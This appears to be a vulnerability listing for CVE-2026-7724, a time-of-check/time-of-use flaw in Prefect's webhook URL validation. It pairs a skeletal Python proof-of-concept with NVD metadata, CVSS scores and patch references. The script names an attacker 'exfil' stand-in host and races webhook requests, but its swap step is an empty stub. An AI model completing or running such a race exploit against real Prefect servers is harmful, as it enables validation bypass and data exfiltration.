CVE-2026-7724

import threading import time import requests # Conceptual PoC for CVE-2026-7724 (TOCTOU) # This script attempts to exploit a race condition between URL validation and usage. TARGET_URL = "http://target-prefect-server/api/hooks/test" MALICIOUS_URL = "http://attacker-controlled-server/exfil" def attacker_thread(): # Simulate changing the resource or state after check print("[+] Attacker thread: Waiting for validation window...") time.sleep(0.05) # Adjust timing based on network latency # In a real scenario, this might involve changing a DNS record, file symlink, or database entry print("[+] Attacker thread: Swapping target resource!") # Code to swap resource would go here pass def victim_request(): print("[+] Victim thread: Initiating Webhook creation...") # Start the attack thread t = threading.Thread(target=attacker_thread) t.start() # Send the request that triggers the validation payload = { "name": "race_condition_test", "url": "http://safe-internal-url" # Passes initial validation } try: response = requests.post(TARGET_URL, json=payload) print(f"[+] Response status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") t.join() if __name__ == "__main__": # Run multiple attempts to hit the race window for i in range(10): print(f"Attempt {i+1}") victim_request()

{"cve": {"id": "CVE-2026-7724", "sourceIdentifier": "[email protected]", "published": "2026-05-04T03:16:13.317", "lastModified": "2026-05-04T22:16:20.087", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in PrefectHQ prefect up to 3.6.28.dev1. Affected by this vulnerability is the function validate_restricted_url of the component Webhook/Notification. The manipulation leads to time-of-check time-of-use. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 3.6.28.dev2 addresses this issue. The identifier of the patch is 7c70ac54a5e101431d83b9f2681ec88d5e0021ed. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:P/I:P/A:P", "baseScore": 4.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://gist.github.com/nedlir/fa99777e8989414585d08c3625bf044a", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/commit/7c70ac54a5e101431d83b9f2681ec88d5e0021ed", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/pull/21591", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/releases/tag/3.6.28.dev2", "source": "[email protected]"}, {"url": "https://linear.app/prefect/issue/OSS-7874/fix-dns-rebinding-toctou-bypass-in-validate-restricted-url", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807303", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360900", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360900/cti", "source": "[email protected]"}]}}